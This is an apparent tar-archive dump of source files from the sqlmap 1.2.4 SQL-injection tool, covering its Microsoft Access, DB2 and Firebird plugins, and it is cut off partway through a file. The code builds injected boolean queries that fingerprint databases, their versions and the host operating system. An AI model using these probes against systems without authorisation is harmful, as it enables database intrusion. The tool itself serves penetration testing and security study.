����0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/access/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016664�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/access/__init__.py��������������������������������������������������������0000664�0000000�0000000�00000002025�13260122637�0020774�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ACCESS_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.access.enumeration import Enumeration from plugins.dbms.access.filesystem import Filesystem from plugins.dbms.access.fingerprint import Fingerprint from plugins.dbms.access.syntax import Syntax from plugins.dbms.access.takeover import Takeover from plugins.generic.misc import Miscellaneous class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft Access methods """ def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.ACCESS] = Syntax.escape �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/access/connector.py�������������������������������������������������������0000664�0000000�0000000�00000004137�13260122637�0021235�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import pyodbc except: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import IS_WIN from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pyodbc.googlecode.com/ User guide: http://code.google.com/p/pyodbc/wiki/GettingStarted API: http://code.google.com/p/pyodbc/w/list Debian package: python-pyodbc License: MIT """ def __init__(self): GenericConnector.__init__(self) def connect(self): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " errMsg += "is restricted to Windows platforms" raise SqlmapUnsupportedFeatureException(errMsg) self.initConnection() self.checkFileDb() try: self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) except (pyodbc.Error, pyodbc.OperationalError), msg: raise SqlmapConnectionException(msg[1]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pyodbc.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except pyodbc.Error, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/access/enumeration.py�����������������������������������������������������0000664�0000000�0000000�00000004465�13260122637�0021575�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getBanner(self): warnMsg = "on Microsoft Access it is not possible to get a banner" logger.warn(warnMsg) return None def getCurrentUser(self): warnMsg = "on Microsoft Access it is not possible to enumerate the current user" logger.warn(warnMsg) def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" logger.warn(warnMsg) def isDba(self): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" logger.warn(warnMsg) def getUsers(self): warnMsg = "on Microsoft Access it is not possible to enumerate the users" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getPrivileges(self, *args): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getDbs(self): warnMsg = "on Microsoft Access it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def searchDb(self): warnMsg = "on Microsoft Access it is not possible to search databases" logger.warn(warnMsg) return [] def searchTable(self): warnMsg = "on Microsoft Access it is not possible to search tables" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Microsoft Access it is not possible to search columns" logger.warn(warnMsg) return [] def search(self): warnMsg = "on Microsoft Access search option is not available" logger.warn(warnMsg) def getHostname(self): warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" logger.warn(warnMsg) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/access/filesystem.py������������������������������������������������������0000664�0000000�0000000�00000001346�13260122637�0021426�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on Microsoft Access it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on Microsoft Access it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/access/fingerprint.py�����������������������������������������������������0000664�0000000�0000000�00000013233�13260122637�0021567�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getCurrentThreadData from lib.core.common import randomStr from lib.core.common import wasLastResponseDBMSError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import ACCESS_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ACCESS) def _sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None if Backend.isVersionWithin(("97", "2000")): table = "MSysAccessObjects" elif Backend.isVersionWithin(("2002-2003", "2007")): table = "MSysAccessStorage" if table is not None: result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) retVal = "not sandboxed" if result else "sandboxed" return retVal def _sysTablesCheck(self): infoMsg = "executing system table(s) existence fingerprint" logger.info(infoMsg) # Microsoft Access table reference updated on 01/2010 sysTables = { "97": ("MSysModules2", "MSysAccessObjects"), "2000": ("!MSysModules2", "MSysAccessObjects"), "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"), } # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") for version, tables in sysTables.items(): exist = True for table in tables: negate = False if table[0] == '!': negate = True table = table[1:] result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE [RANDNUM]=[RANDNUM])" % table) if result is None: result = False if negate: result = not result exist &= result if not exist: break if exist: return version return None def _getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" logger.info(infoMsg) randStr = randomStr() inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr)) if wasLastResponseDBMSError(): threadData = getCurrentThreadData() match = re.search(r"Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) if retVal.endswith('\\'): retVal = retVal[:-1] return retVal def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ACCESS return value actVer = Format.getDbms() + " (%s)" % (self._sandBoxCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\ndatabase directory: '%s'" % self._getDatabaseDir() return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True infoMsg = "testing %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("VAL(CVAR(1))=1") if result: infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False setDbms(DBMS.ACCESS) if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ACCESS logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = ("%s%s" % (DBMS.ACCESS, METADB_SUFFIX)).replace(' ', '_') ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/access/syntax.py����������������������������������������������������������0000664�0000000�0000000�00000000764�13260122637�0020573�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): def escaper(value): return "&".join("CHR(%d)" % ord(_) for _ in value) return Syntax._escape(expression, quote, escaper) ������������sqlmap-1.2.4/plugins/dbms/access/takeover.py��������������������������������������������������������0000664�0000000�0000000�00000002062�13260122637�0021056�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/db2/����������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016072�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/db2/__init__.py�����������������������������������������������������������0000664�0000000�0000000�00000001756�13260122637�0020214�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import DB2_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.db2.enumeration import Enumeration from plugins.dbms.db2.filesystem import Filesystem from plugins.dbms.db2.fingerprint import Fingerprint from plugins.dbms.db2.syntax import Syntax from plugins.dbms.db2.takeover import Takeover from plugins.generic.misc import Miscellaneous class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines DB2 methods """ def __init__(self): self.excludeDbsList = DB2_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.DB2] = Syntax.escape ������������������sqlmap-1.2.4/plugins/dbms/db2/connector.py����������������������������������������������������������0000664�0000000�0000000�00000003530�13260122637�0020437�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import ibm_db_dbi except: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://code.google.com/p/ibm-db/ User guide: http://code.google.com/p/ibm-db/wiki/README API: http://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) except ibm_db_dbi.OperationalError, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except ibm_db_dbi.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except ibm_db_dbi.InternalError, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/db2/enumeration.py��������������������������������������������������������0000664�0000000�0000000�00000000773�13260122637�0021001�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getPasswordHashes(self): warnMsg = "on DB2 it is not possible to list password hashes" logger.warn(warnMsg) return {} �����sqlmap-1.2.4/plugins/dbms/db2/filesystem.py���������������������������������������������������������0000664�0000000�0000000�00000000473�13260122637�0020634�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/db2/fingerprint.py��������������������������������������������������������0000664�0000000�0000000�00000012633�13260122637�0021000�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import DB2_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.DB2) def _versionCheck(self): minor, major = None, None for version in reversed(xrange(5, 15)): result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d000000 AND %d999999)>0" % (version, version)) if result: major = version for version in reversed(xrange(0, 20)): result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d%02d0000 AND %d%02d9999)>0" % (major, version, major, version)) if result: minor = version version = "%s.%s" % (major, minor) break break if major and minor: return "%s.%s" % (major, minor) else: return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.DB2 return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0" result = inject.checkBooleanExpression(query) if not result: Backend.setOs(OS.LINUX) else: Backend.setOs(OS.WINDOWS) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: versions = { "2003": ("5.2", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[0] result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): return # Get back-end DBMS underlying operating system service pack for sp in versions[Backend.getOsVersion()][1]: query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(sp) + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): Backend.setOsServicePack(0) debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) �����������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/db2/syntax.py�������������������������������������������������������������0000664�0000000�0000000�00000001262�13260122637�0017773�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' """ def escaper(value): return "||".join("CHR(%d)" % ord(_) for _ in value) return Syntax._escape(expression, quote, escaper) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/db2/takeover.py�����������������������������������������������������������0000664�0000000�0000000�00000000554�13260122637�0020270�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None GenericTakeover.__init__(self) ����������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/firebird/�����������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0017211�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/firebird/__init__.py������������������������������������������������������0000664�0000000�0000000�00000002037�13260122637�0021324�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import FIREBIRD_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.firebird.enumeration import Enumeration from plugins.dbms.firebird.filesystem import Filesystem from plugins.dbms.firebird.fingerprint import Fingerprint from plugins.dbms.firebird.syntax import Syntax from plugins.dbms.firebird.takeover import Takeover from plugins.generic.misc import Miscellaneous class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Firebird methods """ def __init__(self): self.excludeDbsList = FIREBIRD_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.FIREBIRD] = Syntax.escape �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/firebird/connector.py�����������������������������������������������������0000664�0000000�0000000�00000004260�13260122637�0021557�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import kinterbasdb except: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://kinterbasdb.sourceforge.net/ User guide: http://kinterbasdb.sourceforge.net/dist_docs/usage.html Debian package: python-kinterbasdb License: BSD """ def __init__(self): GenericConnector.__init__(self) # sample usage: # ./sqlmap.py -d "firebird://sysdba:testpass@/opt/firebird/testdb.fdb" # ./sqlmap.py -d "firebird://sysdba:testpass@127.0.0.1:3050//opt/firebird/testdb.fdb" def connect(self): self.initConnection() if not self.hostname: self.checkFileDb() try: # Reference: http://www.daniweb.com/forums/thread248499.html self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") except kinterbasdb.OperationalError, msg: raise SqlmapConnectionException(msg[1]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except kinterbasdb.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except kinterbasdb.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except kinterbasdb.Error, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/firebird/enumeration.py���������������������������������������������������0000664�0000000�0000000�00000002134�13260122637�0022111�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getDbs(self): warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Firebird it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def searchDb(self): warnMsg = "on Firebird it is not possible to search databases" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Firebird it is not possible to search columns" logger.warn(warnMsg) return [] def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" logger.warn(warnMsg) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/firebird/filesystem.py����������������������������������������������������0000664�0000000�0000000�00000001326�13260122637�0021751�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on Firebird it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on Firebird it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/firebird/fingerprint.py���������������������������������������������������0000664�0000000�0000000�00000010776�13260122637�0022125�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.common import randomRange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.FIREBIRD) def getFingerprint(self): value = "" wsOsFp = 